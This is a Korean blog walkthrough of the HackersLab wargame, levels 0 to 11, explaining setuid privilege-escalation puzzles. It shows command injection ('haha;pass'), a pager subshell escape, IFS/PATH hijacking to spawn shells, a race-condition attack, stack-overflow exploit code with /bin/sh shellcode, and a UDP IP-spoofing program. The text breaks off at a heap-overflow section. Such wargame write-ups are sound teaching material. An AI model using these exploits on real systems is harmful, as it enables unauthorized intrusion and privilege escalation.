2005. 9. 26. 11:19
HackersLab 레벨별 해킹  



홍성제
hongyver@hanafos.com

레벨0 -> 레벨1
문제
누군가 우리 시스템에 백도어를 설치하여 두었다. 여러분은 이 백도어를 악용하여 레벨0를 통과한다.
힌트
디바이스도 아닌것이 디바이스 드라이버 무리속에..
풀이
백도어(back door)란 해커가 시스템을 해킹한 후(해킹과정에는 보통 Local attack과 Remote attack이 있다. Local attack이란 해커가 해킹을 하려고 하는 시스템에 계정이 있는 경우 시스템 자체의 버그를 이용하여 해킹하는 방법이고, Remote attack이란 계정인 없는 경우 Protocol상의 문제점이나, 해킹하려고 하는 시스템의 여러가지 인터넷 서비스 설정 버그, 또는 다른 여러 방법을 동원하여 일단 대상 시스템에 침투하는 과정을 말한다.) 다음번에 다시 대상 시스템에 들어가기위해 복잡한 해킹 과정을 거치지 않고 쉽게 해킹할 수 있도록 대상시스템에 만들어 놓은 일종의 개구멍이라 할 수 있다.
일단 해당 백도어가 디바이스 무리속에 있기 때문에 유닉스의 파일시스템에서 디바이스 디렉토리인 /dev로 가서 숨겨진 백도어를 찾도록 한다.
[bluesky@bluestar bluesky]$telnet drill.hackerslab.org
login:level0
password:guest
.....
[level0@drill level0]$ pwd
/home/level0
[level0@drill level0]$ whoami
level0
[level0@drill level0]$ id
uid=2000(level0) gid=2000(level0) groups=2000(level0),9999(hackerszone)
[level0@drill level0]$ cd /dev
[level0@drill /dev]$

이제 숨겨진 백도어를 find 명령을 이용하여 찾아보자(다음레벨로 올라가기 위한 백도어이기 때문에 이 백도어의 user는 level1일 것이다. 현재위치(.)에서 user가 level1이고 group이 level0인 화일을 찾아서 화면상에 보여준다. 결과를 화일로 저장하고 싶은 경우는 find . -user level1 -group level0 -print > file와 같이 해준다.
[level0@drill /dev]$ find . -user level1 -group level0 -print
./.hi

[level0@drill /dev]$ ls -l .hi
-rwsr-x--- 1 level1 level0 12900 Aug 10 15:15 .hi
[level0@drill /dev]$ ./.hi
[level0@drill /dev]$ id
uid=2000(level0) gid=2000(level0) euid=2001(level1) groups=2000(level0),9999(hackerszone)
[level0@drill /dev]$ whoami
level1
[level0@drill /dev]$pass
---------------------------------------------------------------------
                            [ LEVEL 1 ]
---------------------------------------------------------------------
                            패스워드 : xxxxxxxx
---------------------------------------------------------------------

레벨1 -> 레벨2
문제
한 어리석은 대학생 서모씨는 Unix C programming 수업시간에 교수로부터 Standard input으로 부터 패스명을 입력받아 그 파일의 종류를 나타내라는 과제를 받았다. 똑똑한(?) 서모씨는 UNIX의 기본 커맨드 중에 file 이라는 유틸리티가 있음을 알고 이를 이용해 숙제를 간편한 방법으로 해결하였다. 그러나 서씨의 방법에는 상당한 보안상 위험이 있다. 이를 이용하여 다음 레벨을 획득하시오
힌트
위 화일의 이름은 딱풀제조 회사명이다.
풀이
이번 문제도 렙0와 마찬가지로 suid(set user id)의 보안상 문제점을 이용하는 것인데, 여기서 suid에 대해 먼저 짚어보고 계속가기로 하자. 먼저 화일접근 권한에 대해서 먼저 살펴보기위해 /etc/passwd란 파일의 권한을 한번 살펴보자.

[bluesky@bluestar bluesky]$ ls -l /etc/passwd
-rw-r--r-- 1 root root 887 Mar 3 01:42 /etc/passwd

위에서 보는바와 같이 /etc/passwd란 파일은 user가 root이고 group도 root이다. 그리고 제일앞이 - 이므로 일반화일이다. 그리고 소유주인 root에 대한 권한부분이 rw- 이므로 소유주인 root는 읽기/쓰기가 가능하고 실행화일이 아니므로 실행부분은 없다. 그다음 group의 권한부분이 r--이므로 group내의 사용자들은 읽기만 가능하다. 마지막 다른 사용자의 권한부분이 r--이므로 역시 읽기만 가능하다. 결국 /etc/passwd는 소유주인 root만 수정이 가능하다.그런데, 우리가 패스워드를 수정할 때 쓰는 passwd란 파일은 사용자로 부터 입력받은 새로운 패스워드를 가지고 /etc/passwd 란 파일을 수정하여 패스워드가 업데이트 된다. 그런데 /etc/passwd는 root만 수정할 수 있는데 어떻게 일반사용자에 의해 /etc/passwd가 수정되어질 수 있는가???
위의 질문에 대한 해답은 passwd(/usr/bin/passwd)의 접근 권한을 보면 확실해진다.

[bluesky@bluestar bluesky]$ ls -l /usr/bin/passwd
-r-sr-xr-x 1 root bin 58306 Apr 13 1999 /usr/bin/passwd

위에서 보는 바와 같이 소유주인 root의 접근권한 부분이 r-s로 되어 있다. SUID 비트가 셋팅되어 있는 것이다. 이렇게 suid 비트가 설정되어 있으면 다른 사용자들이 이 화일을 실행하는 잠시동안은 이 화일의 소유자의 권한 을 가지게 된다. 즉 이 경우엔 root의 권한을 가진다. 결국, 일반 사용자들이 passwd로 패스워드를 수정하는 경우 passwd를 실행하는 잠시동안 root의 권한을 빌려서 /etc/passwd란 화일을 수정하고 수정이 끝나면 다시 원래의 권한으로 되돌아 오게 되는 것이다. 이러한 suid는 위와 같이 매우 유용하게 사용될 수 있는 반면 보안상으로 매우 취약한 약점을 가지고 있다. 그러므로 시스템 관리자는 화면 잠금없이 자리를 비우는 일이 없도록 해야하며, 수시로 아래명령으로 불필요하게 suid/sgid 설정 이 되어있는 화일이 없는지 확인해야 한다. 이제 본론으로 돌아와서..레벨1을 깨보자..
우리가 찾는 딱풀제조 회사명을 검색엔진으로 찾으면 amos라는 것을 알 수 있다. 이 화일을 실행하면,

[level1@drill tmp]$/usr/bin/amos
path?/usr/bin/amos
/usr/bin/amos: setuid ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked
(uses shared libs), not stripped

그런데 여기서 다음과 같이 입력해보자..
[level1@drill level1]$ file /usr/bin/amos
/usr/bin/amos: setuid ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked
(uses shared libs), not stripped

여기서, 우리는 똑똑한(?) 서모씨가 이 amos라 프로그램에서 path?로 입력받은 화일명을 file 이라는 유틸리티의 입력으로 주도록 했다는 것을 알 수 있다. file이라는 유틸리티는 입력으로 들어온 화일이 어떤 형태의 화일인지를 알려주는 유틸리티이며 사용법은 [$fille 화일명]이다. 그런데 /usr/bin/amos의 접근권한을 보면 아래와 같이 suid 비트가 설정되어 있고 user가 level2인 것을 알 수 있다.
[level1@drill level1]$ ls -l /usr/bin/amos
-rwsr-x--- 1 level2 level1 13423 Aug 10 15:15 /usr/bin/amos

그러므로 이 amos를 실행하는 동안은 level2 사용자가 되는 것이다. 그런데 여기서 또 한가지 알아야 하는 것은 유닉스에서 두가지 명령을 하나의 라인에서 같이 줄 경우 아래와 같이 ; 으로 분리한다는 것을 알아야 한다. 즉, 다음과 같이 할 경우
[level1@drill level1]$ ls;ls -l
Mail public_html tmp
total 5
drwxr-xr-x 2 root root 1024 Aug 10 14:39 Mail
drwxr-x--x 2 root level1 1024 Aug 10 15:14 public_html
drwxrwx--T 2 root level1 3072 Jan 10 05:00 tmp

ls의 결과를 보여주고 바로 다음 명령인 ls -l의 결과를 보여준다. amos 실행후 path?에서 haha;pass 라고 입력해주면 어떻게 되겠는가?? [level1@drill level1]$file haha;pass 라고 입력하면 다음의 명령이 level2의 사용자 권한으로 실행되는 것이다. 즉, file haha를 실행하고 pass를 실행한다. file의 인자로 넘어간 pass까지 완전히 실행이 끝나기 전까지는 level2의 사용자로 실행되고 있는 상태(amos가 suid(level2)가 설정되어 있기 때문에)이기 때문에, file haha를 실행하고 haha란 화일이 없을 것이기 때문에 에러 메시지를 출력하고 바로 pass(운영자가 만들어 놓은 스크립트로 shell 사용자의 패스워드를 화면상에 보여준다.)를 실행하여 레벨2의 패스워드를 보여준다.
[level1@drill tmp]$/usr/bin/amos
path?haha;pass

---------------------------------------------------------------------
                            [ LEVEL 2 ]
---------------------------------------------------------------------
                            패스워드 : xxxxxxxxxxxx
---------------------------------------------------------------------

레벨2 -> 레벨3
문제
유명한 비비에스 프로그래머 김모씨는 자신의 bbs를 운영하던중 회원들이 로긴하기 전에 특정 내용이 담긴 경고 메시지를 보여주고 싶었다. 그러나 불행하게도 경고 메시지의 크기가 한 페이지를 넘어가는 바람에 회원들이 이글을 제대로 읽을수가 없었다. 고심하던중 김모씨는 more를 이용하면 간단히 해결 된다는 사실을 알았다. 그러나 그 방법은 상당히 위험한 문제가 남아 있었다. 이를 이용하여 다음 레벨을 획득하시오.

힌트
...

풀이
이번 문제는 more 커맨드의 보안상의 취약점을 알아야 하는 문제이다. 우선, $find / -user level3 -group level2 -print 명령으로 김모씨가 경고 메시지를 보여주기 위해 만든 스크립트 화일을 찾아서 실행해보자

[level2@drill level2]$find / -user level3 -group level2 -print
/usr/bin/alert
/usr/bin/alert.txt
[level2@drill level2]$ls -l /usr/bin/alert
-rws--x--- 1 level3 level2 12873 Aug 10 15:15 /usr/bin/alert
[level2@drill level2]$ls -l /usr/bin/alert.txt
-rwx------ 1 level3 level2 247 Aug 10 15:15 /usr/bin/alert.txt

위에서 보는 것처럼 이 alert도 역시 level3로 suid 비트가 설정되어 있다는 것을 알수 있다. 즉, 이 alert를 실행중에는 level3 사용자가 되는 것이다.
[level2@drill level2]$/usr/bin/alert
이곳은 당신에게 악영향을 끼칠 수도..

좋은 영향을 끼칠 수도 있습니다..
....
--More--(54%)

아직 명령 실행이 완전히 끝난 상태가 아니므로 아직 level3 사용자이다.
여기서 이제 more 커맨드의 보안상 헛점에 대해 알아보자... $man more 해서 more 커맨드의 사용법을 보면,
[bluesky@bluestar bluesky]# man more
MORE(1)          UNIX Reference Manual          MORE(1)
NAME
      more - file perusal filter for crt viewing
SYNOPSIS
      more [-dlfpcsu] [-num] [+/ pattern] [+ linenum] [file ...]
.....
COMMANDS
      Interactive commands for more are based on vi(1). Some commands may be
      preceeded by a decimal number, called k in the descriptions below. In
      the following descriptions, ^X means control-X.
.....
      !< cmd >  or  :!< cmd >
                         Execute in a subshell
.....

위의 man 화일에서 볼 수 있듯이 more 실행중에(실행이 아직 끝나지 않은 상태) 서브쉘을 띄워 유닉스 명령을 실행할 수 있다. 그러므로, 위의 --More--(54%) 상태에서 !pass라고 입력해주면 level3 권한으로 pass를 실행할 수 있게 된다.
[level2@drill level2]$/usr/bin/alert
이곳은 당신에게 악영향을 끼칠 수도..

좋은 영향을 끼칠 수도 있습니다..
....
--More--(54%)
!xxxx
---------------------------------------------------------------------
                            [ LEVEL 3 ]
---------------------------------------------------------------------
                            패스워드 : xxxxxxxxxxx
---------------------------------------------------------------------

레벨3 -> 레벨4
문제
항상 약속을 자주 잊어버리는 서모씨는 번번히 주위로부터 원망을 산다. 서모씨는 고심하던중 자신이 매일 아침 리눅스 서버에 로긴한다는 사실을 알고는 매번 로긴할 때마다 오늘의 날짜를 알려주면 편리하겠다는 사실을 알았다. 그래서 date 커맨드를 이용하여 오늘의 날짜만 yyyy-mm-dd 형식으로 간단히 출력해주는 프로그램을 씨 언어를 이용해서 프로그래밍하고는 누가볼까 두려워 특정 디렉토리에 꽁꽁 숨겨 두었다. 이를 찾아서 다음 레벨을 진입하시오

힌트
...

풀이
이번 문제는 IFS(Internal Field Separator)의 헛점을 이용한 해킹이다.
IFS는 유닉스에서 외부프로그램을 실행할 때 입력되는 문자열을 나눌 때 기준이 되는 문자를 정의하는 변수이다. 기본적으로 IFS는 공란(Space)으로 정의된다(IFS=" "). 이 IFS를 슬래쉬(/)로 바꾸고 싶다면 csh인 경우는 setenv IFS /, bash인 경우는 export IFS="/"로 하면 변경된다. 먼저 find 명령으로 서모씨가 꽁꽁 숨겨놓은 화일을 찾으면 /usr/man/pt_BR/man8/today라는 것을 알 수 있다.
이를 실행하면 01/10/00과 같이 표시되는데 이로써 우리는 today가 유닉스에서 날짜를 보여주는 명령어인 /bin/date를 실행하도록 프로그램 되어있음을 알 수 있다. /usr/man/pt_BR/man8/today의 접근 권한을 보면 이 역시 level4로 suid 비트가 설정되어 있다는 것을 알 수 있다. 이 사실과 위에서 말한 IFS의 보안상 헛점을 이용하여 어떻게 level4의 패스워드를 알 수 있겠는가??
/usr/man/pt_BR/man8/today를 실행하면 /bin/date를 실행한다. 즉, /bin디렉토리를 찾아서 그 아래의 date란 화일을 찾아서 실행하는 것이다. 그런데 우리가 IFS를 /(slash)로 바꾸면 어떻게 되겠는가?? today를 실행하면 /bin/date를 실행하는데, IFS를 /로 바꾸었기 때문에 shell은 /bin/date -> bin date로 인식하게 된다. 즉, 현재 위치에서 bin이란 화일을 찾아서 있으면 이를 실행하게 될 것이다. 그러므로 우리는 today를 실행하는 현재위치에 bin이라는 스크립트 화일을 만들어 그 안에서 /bin/sh를 실행하게 되면 level4 사용자 권한으로 sh(shell)를 실행하는 결과가 되므로 level4의 shell이 뜨게 될 것이다.
아래 그 과정을 보여준다.
[level3@drill level3]$find / -user level4 -group level3 -print
/usr/man/pt_BR/man8/today
[level3@drill level3]$ cd tmp
[level3@drill tmp]$
[level3@drill tmp]$ ls -l /usr/man/pt_BR/man8/today
-rws--x--- 1 level4 level3 13245 Aug 10 15:15 /usr/man/pt_BR/man8/today
[level3@drill tmp]$ln -s /usr/man/pt_BR/man8/today today
[level3@drill tmp]$ls -l
lrwxrwxrwx 1 level3 level3 25 Jan 10 10:36 today -> /usr/man/pt_BR/man8/today
[level3@drill tmp]$./today
01/10/00
[level3@drill tmp]$cat > bin
/bin/sh
^D
[level3@drill tmp]$chmod 755 bin
[level3@drill tmp]$ls -l
-rwxr-xr-x 1 level3 level3 10 Jan 10 10:38 bin
lrwxrwxrwx 1 level3 level3 25 Jan 10 10:36 today -> /usr/man/pt_BR/man8/today

이제 여기까지 IFS를 /로 바꾼후에 실행할 bin 이라는 스크립트를 /bin/sh란 내용으로 만들어 실행가능 permission을 주었다. 이제 실제로 IFS를 /로 바꾸고 today를 실행시키자...
[level3@drill tmp]$IFS=/
[level3@drill tmp]$export IFS
[level3@drill tmp]$PATH=.:$PATH
[level3@drill tmp]$,/today
bash$pass
---------------------------------------------------------------------
                            [ LEVEL 4 ]
---------------------------------------------------------------------
                            패스워드 : xxxxxxxxxx
---------------------------------------------------------------------

레벨4 -> 레벨5
문제
리눅스에 들어있는 게임을 종종 즐기곤 하는 김모씨는 하도 심심하여 게임의 소스파일에 특정코드를 삽입하여 다시 컴파일 하였다. 김모씨가 왜 그랬는지 이해하는 사람은 아무도 없었다. 아무튼 여러분은 김모씨의 어리석은 행위를 이해할 필요는 없고 이를 이용하여 다음 레벨을 획득하면 된다.

힌트
어줍잖은 김모씨는 단 한줄만 소스에 추가했다고 한다.

풀이
find 명령으로 찾아보면..김모씨가 하려고 했던 게임이 /usr/games/trojka라는 것을 알 수 있다.
이를 실행해보면...김모씨가 소스에 추가한 한줄을 대충 짐작 할 수 있을 것이다..바로../usr/bin/clear를 실행하도록 한줄을 추가했다는 것을 알 수 있다. 그리고 이 trojka 역시 level5로 suid 비트가 설정되어 있다...그러므로 우리는 trojka를 실행할때 실행하도록 한 clear를 /usr/bin/clear가 아닌 우리가 만든 clear로 대치하고 clear 속에 level5 쉘을 띄우면..렙5의 패스워드를 알 수 있을것 같다.
[level4@drill level4]$cd tmp
[level4@drill tmp]$ find / -user level5 -group level4 -print
/usr/games/trojka
[level4@drill tmp]$ls -l /usr/games/trojka
-rwsr-x--- 1 level5 level4 30350 Aug 10 15:15 /usr/games/trojka
[level4@drill tmp]$cat > clear  <-- /usr/bin/clear가 아닌 우리가 실행시킬 clear 화일 작성
/bin/pass
^D

위에서 clear의 내용을 /bin/pass가 아닌 /bin/sh로 할 경우..trojka를 실행하면..렙5의 쉘(bash$)이 나올 것이다. 이때 bash$pass 해주면 된다.
[level4@drill tmp]$chmod 755 clear
[level4@drill tmp]$ln -s /usr/games/trojka
[level4@drill tmp]$PATH=.:$PATH
[level4@drill tmp]$./trojka

레벨5 -> 레벨6
문제
어줍잖은 해커 정모씨는 문제1에서 백도어를 만든 장본인이다. 그러나 불행히도 많은 해커스랩 회원들이 자신의 백도어를 쉽게 악용하고 있다는 사실을 알고는 분통이 터져 잠을 잘 수가 없었다. 평상시 머리굴리기는 배꼽의 때만큼도 하기 싫어하는 정모씨가 드뎌 큰맘을 먹고 자신이 평상시 만든 백도어에 보안강도를 높이기로 결정했다. 그리고는 이제 이 백도어는 나만 쓸수 있다고 큰소리 치며 편안히 잠을 잘 수 있었다고 한다. 여러분의 임무는 다시 정모씨의 눈에서 피눈물이 나게 하는 것이다.

힌트
...

풀이
이번 문제는 유닉스 커맨드 중 하나인 strings를 알고 있느냐/없느냐..하는 문제이다. strings는 유닉스에서 일반 text 에디터(vi,emacs..)로는 볼 수 없는 화일들(예를 들면..공유 라이브러리인 *.so, 로긴정보를 담고있는 /var/wtmp 등등..)내에서 출력가능한 문자를 출력해주는 유틸리티이다.
일단, find 명령으로 정모씨가 백도어의 보안강도를 높이기 위해 사용한 파일을 찾아보면... /lib/security/pam_auth.so라는 것을 알 수 있는데.. 이 화일 속에 패스워드를 숨겨두었다..그런데..이 파일은 일반 text 에디터로는 볼 수 없기 때문에.. strings 명령으로 확인하면 된다.
[level5@drill tmp]$find / -user level6 -group level5 -print
/lib/security/pam_auth.so
[level5@drill tmp]$ls -l /lib/security/pam_auth.so
-rwsr-x--- 1 level6 level5 13742 Aug 10 15:15 /lib/security/pam_auth.so
[level5@drill tmp]$strings /lib/security/pam_auth.so
/lib/ld-linux.so.2
__gmon_start__
......
......
B.....
......

레벨6 -> 레벨7
문제
짜짜 여기까지 오느라 수고하신 여러분을 위해 보너스 문제를 특별히 준비하였습니다..이번엔 고생하신 여러분을 위해 패스워드를 알려드리기 위해 TCP 포트 하나를 열어두고 있습니다.. 그런데 불행히도 몇번 포트였는지 기억이 나질 않는군요.. 아무튼 수고를 ....
힌트
...

풀이
이번 문제는 network 유틸리티인 netstat의 사용법과 telnet 접속시 특정 포트로 접속하는 방법에 대한 문제이다.. 먼저, drill에 접속하여 열어두고 있는 TCP 포트를 확인해보면..아래와 같다는 것을 알 수 있을 것이다..
[level6@drill level6]$ netstat -a | grep "LISTEN"
tcp 0 0 *:2994 *:* LISTEN
tcp 0 0 *:80 *:* LISTEN
tcp 0 0 *:25 *:* LISTEN
tcp 0 0 *:6969 *:* LISTEN
tcp 0 0 *:23 *:* LISTEN
unix 0 [ ACC ] STREAM LISTENING 978 /dev/gpmctl

위에서 2994번 포트는 렙13을 위한 것이고, 80번은 HTTP, 25번은 SMTP, 23번은 TELNET이다. 6969번이 우리가 원하는 포트이다.. 이제 포트를 알았으니 접속을 해보자..
[bluesky@bluestar bluesky]$telnet drill.hackerslab.org 6969
....
level6's passwd:xxxxxxxxxxxxxxxxxxxxxxxxxxx
'Best of The Best ......'
Congratulation!! level7's passwd is 'Can't ....'

레벨7 -> 레벨8
문제
이번 문제는 고도의 노가다 작업이 필요하다. 특정파일을 찾아 실행시키면 다음 레벨의 패스워드가 나올 것이다. 그러나 곱게 알려줄 수는 없는 법.(여러분의 고통은 나의 행복) 다음 레벨을 얻기 위해선 약간의 고생이 필요할 것이다.

힌트
...

풀이
이번 문제는 패스워드를 Crack tool로 크랙하는 문제이다. 먼저 문제의 특정화일을 찾으면../dev/audio2라는 것을 알 수 있다. 이를 실행하면..
[level7@drill tmp]$find / -user level8 -group level7 -print
/dev/audio2
[level7@drill tmp]$/dev/audio2
VoE4HoQCFfMW2

이 암호화된 패스워드를 ntucrack이나 CrackJack 등의 툴을 이용하여 크랙하면 된다.
레벨8 -> 레벨9
문제
이번 부터는 해킹기법에 대한 이해가 필요합니다.. 한때 유행했었던 8lgm이 즐겨 발표했던 방법으로써 /usr/bin/ps2를 이용하여 다음 레벨을 획득하여라.

힌트
임시 파일이 /var/tmp2에 생성된다.
풀이
이번 문제는 race condition(경쟁조건)을 이용한 race attack이다.
[level8@drill tmp]$find / -user level9 -group level8 -print
/usr/bin/ps2
[level8@drill tmp]$ ls -l /usr/bin/ps2
-rws--x--- 1 level9 level8 933937 Aug 12 13:22 /usr/bin/ps2

[level8@drill tmp]$cat > race.c
int main()
{
  int i;
  unlink("/var/tmp2/ps2.tmp");
  for(i=0;i<10;i++){
    system("/usr/bin/ps2&");
    ...

}
^D
[level8@drill tmp]$cc -o race race.c
[level8@drill tmp]$cat > haha
/bin/pass
^D

위의 haha의 내용은 어떤거라도 상관이 없다. 위에서 symlink에서 symbolic link만 제대로 만들어지면 race condition 상태가 되어 level9의 패스워드가 나온다
[level8@drill tmp]$chmod 755 haha

[level8@drill tmp]$ ./race
file exist
Congratulations !!! your race attack success ~
level9 Password is xxxxxx
file exist
file exist
file exist
Congratulations !!! your race attack success ~
level9 Password is xxxxxx
file exist
file exist
Congratulations !!! your race attack success ~
level9 Password is xxxxxx
[level8@drill tmp]$

레벨9 -> 레벨10
문제
바운드 체킹(Bound checking)을 하지 않아 발생하는 보안문제 입니다.

힌트
/etc/bof -> suid(user=level10, group=level9)
풀이
이번 문제는 버퍼 오버플로우(Buffer based Overflow)를 이용한 해킹기법이다. 버퍼 오버플로우는 1988년 전 세계를 떠들석하게 만들었던 Morris Worm 사건에서의 finger daemon을 이용한 공격이 시초라고 말할 수 있다. 하지만 과거 이에 대한 기술적 지식이 부족했던터라 잘 알려지지 않았으나 1997년 Phrack 잡지 49호에 실린 Aleph의 "Smashing the Stack for Fun and Profit" 이라는 기사에서 이 버퍼 오버플로우에 대한 자세한 원리와 제작 방법이 소개되면서 지금 까지도 많은 양의 버퍼 오버플로우 공격방법이 생겨나고 있다.
그 원리는 메모리의 스택영역을 넘쳐흐르게 해서 리턴되는 주소지를 변경하여 원하는 임의의 명령어를 실행시키는 것이다.
exploit 소스는 위의 "Smashing the Stack for Fun and Porfit"에 자세히 나와 있다.

[level9@drill jkp]$cat > exploit4.c
#include < stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
    char *buff, *ptr, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i, eggsize=DEFAULT_EGG_SIZE;

    if (argc > 1) bsize = atoi(argv[1]);
    if (argc > 2) offset = atoi(argv[2]);
    if (argc > 3) eggsize = atoi(argv[3]);

    if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
    }

    ....

    memcpy(egg,"EGG=",4);
    putenv(egg);
    memcpy(buff,"RET=",4);
    putenv(buff);
    system("/bin/bash");
}

[level9@drill jkp]$cc -o exploit4 exploit4.c
[level9@drill jkp]$ln -s /etc/bof
[level9@drill jkp]$PATH=.:$PATH
[level9@drill jkp]$exploit4 768
Using address: 0xbffffd78
[level9@drill jkp]$bof $RET
hello~ x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x
煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊
x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x
퓒煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x
煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊
x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊
퓒煊x煊x煊x煊x煊x煊x煊x煊x?
bash$ pass
-----------------------------------------------------------------------------
-----------------------------------------------------------------------------
            패스워드: xxxxxxxxxxxxxxxx
-----------------------------------------------------------------------------

레벨10 -> 레벨11
문제
현재 해킹자유지대(FHZ:Free Hacking Zone) 서버에는 특정 데몬이 떠있다. 이 데몬은 UDP 5555번 포트를 이용하는데 www.hackerslab.org 호스트로부터 레벨10의 패스워드와 이메일 주소가 담긴 패킷이 오면 그 이메일 주소로 level11의 패스워드를 알려준다. 그 해당 포맷은 다음과 같다.
'level10의 패스워드/email주소'
ex) level10의 패스워드가 abcd이고 email 주소가 abc@aaa.ccc.ddd.rr 이라면 'abcd/abc@aaa.ccc.ddd.rr'
반드시 www.hackerslab.org로 부터 패킷이 와야 성공할 수 있으니 주의하기 바란다.

힌트
...

풀이
이번 문제는 케빈 미트닉 vs 시모무라 사건으로 세상을 떠들썩하게 했던 IP spoofing을 이용한 해킹기법을 사용하는 문제이다. FHZ(Free Hacking Zone) 서버가 신뢰하는 호스트는 hackerslab 웹서버(www.hackerslab.org:203.239.110.1)이다. 즉, UDP 5555번 포트를 이용해 FHZ 서버에 떠 있는 데몬은 자신이 신뢰하는 호스트로부터 'level10의 패스워드/email 주소' 의 내용이 담긴 패킷이 오면..위에 적힌 email 주소로 레벨11의 패스워드를 알려주는 일을 하는 데몬이다.
그러므로 우리는 위의 'level10패스/email주소'의 내용을 갖는 패킷의 발신지 주소를 203.239.110.1이 되도록(IP spoofing) 소켓 프로그래밍하여 drill 서버의 UDP 5555번 포트로 보내면 된다.
이제 소켓 프로그램을 작성해보자..
[bluesky@bluestar bluesky]$cat > socket.c
#include < stdio.h>
#include < stdlib.h>
#include < errno.h>
#include < string.h>
#include < sys/types.h>
#include < netinet/in.h>
#include < sys/socket.h>
#include < sys/wait.h>

#define DEST_IP "203.239.110.20"
#define DEST_PORT 5555

main()
{
    int sockfd;
    struct sockaddr_in dest_addr;
    char *msg = "level10's password/ingots@blue.nownuri.net";
    int len, bytes_sent;
    printf("\n###############################################\n");
    printf(" sent message : %s\n", msg);
    if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
    {
         perror("socket error!!!");
        exit(1);
    }
    dest_addr.sin_family = AF_INET;
    dest_addr.sin_port = htons(DEST_PORT);
    dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);
    bzero(&(dest_addr.sin_zero), 8);
    printf(" dest address : %s\n", inet_ntoa(dest_addr.sin_addr));
    connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
    len = strlen(msg);
    bytes_sent = sendto(sockfd, msg, len, 0, (struct sockaddr *)&dest_addr,sizeof(struct sockaddr));
    printf(" sent bytes : %d\n", bytes_sent);
    printf("###############################################\n\n");
    close(sockfd);

}
^D

[bluesky@bluestar bluesky]$cc -o socket socket.c
[bluesky@bluestar bluesky]$su
Password:xxxxxxxx

[IP aliasing... root 권한 필요...]
[bluesky@bluestar bluesky]#ifconfig ppp0 203.239.110.1 up

[bluesky@bluestar bluesky]./socket
###############################################
sent message : level10's password/ingots@nownuri.net
dest address : 203.239.110.20
sent bytes : 35
###############################################
[bluesky@bluestar bluesky]$

이제 메일이 오기를 기다리면 된다.. 패킷이 정상적으로 보내졌다면..메일은 바로 온다. drill 서버가 우리가 보낸 패킷이 www.hackerslab.org(203.239.110.1)에서 온 것처럼 수신했는가는 listener를 작성하여 drill에 띄워서 확인이 가능하다. 아래에 listener.c를 보기바란다.. (이 listener.c를 drill에서 작성하여 컴파일 한후 띄워놓은 후 패킷을 보내 확인 할 수 있다.)
[level10@drill tmp]$cat > listener.c
#include < stdio.h>
#include < stdlib.h>
#include < errno.h>
#include < string.h>
#include < sys/types.h>
#include < netinet/in.h>
#include < sys/socket.h>
#include < sys/wait.h>

#define MYPORT 5555
#define MAXBUFLEN 100

main()
{
    int sockfd;
    struct sockaddr_in my_addr; /* my address information */
    struct sockaddr_in their_addr; /* connector's address information */
    int addr_len, numbytes;
    char buf[MAXBUFLEN];

    if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
        perror("socket");
        exit(1);
    }
    my_addr.sin_family = AF_INET; /* host byte order */
    my_addr.sin_port = htons(MYPORT); /* short, network byte order */
    my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */
    bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */

    if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
        perror("bind");
        exit(1);
    }

  addr_len = sizeof(struct sockaddr);
  if ((numbytes=recvfrom(sockfd, buf, MAXBUFLEN, 0, (struct sockaddr *)&their_addr, &addr_len)) == -1) {
        perror("recvfrom");
        exit(1);
    }

    printf("got packet from %s\n",inet_ntoa(their_addr.sin_addr));
    printf("packet is %d bytes long\n",numbytes);
    buf[numbytes] = '\0';
    printf("packet contains \"%s\"\n",buf);

    close(sockfd);
}
^D

[level10@drill tmp]$cc -o listener listener.c
[level10@drill tmp]$./listener
got packet from 203.239.110.1
packet is 35 bytes
packet contains level10's password/ingots@nownuri.net

레벨11 -> 레벨12
문제
/usr/local/bin/hof라는 프로그램은 /usr/local/bin/passwd.fail 화일을 보여준다. 하지만 우리가 원하는 파일은 usr/local/bin/passwd.success 라는 파일로 그 파일에는 다음 레벨로 올라갈 수 있는 패스워드가 저장되어 있다. 힙 영역을 이용하면 가장 쉽게 가능하다.

힌트
...

풀이
이번 문제는 힙 오버플로우(Heap based Overflow)를 이용한 해킹방법이다. 레벨9에서 보았듯이..버퍼 오버플로우에 의한 해킹기법이 소개되면서 이를 이용한 많은 해킹이 일어나 문제가 발생하자..이에 대해 아래와 같은 해결책들이 나오게 되었다.
그러나 다른 해결책들이 나오자 이번에는 Heap based Overflow에 의한 해킹기법이 나오게 되었다.
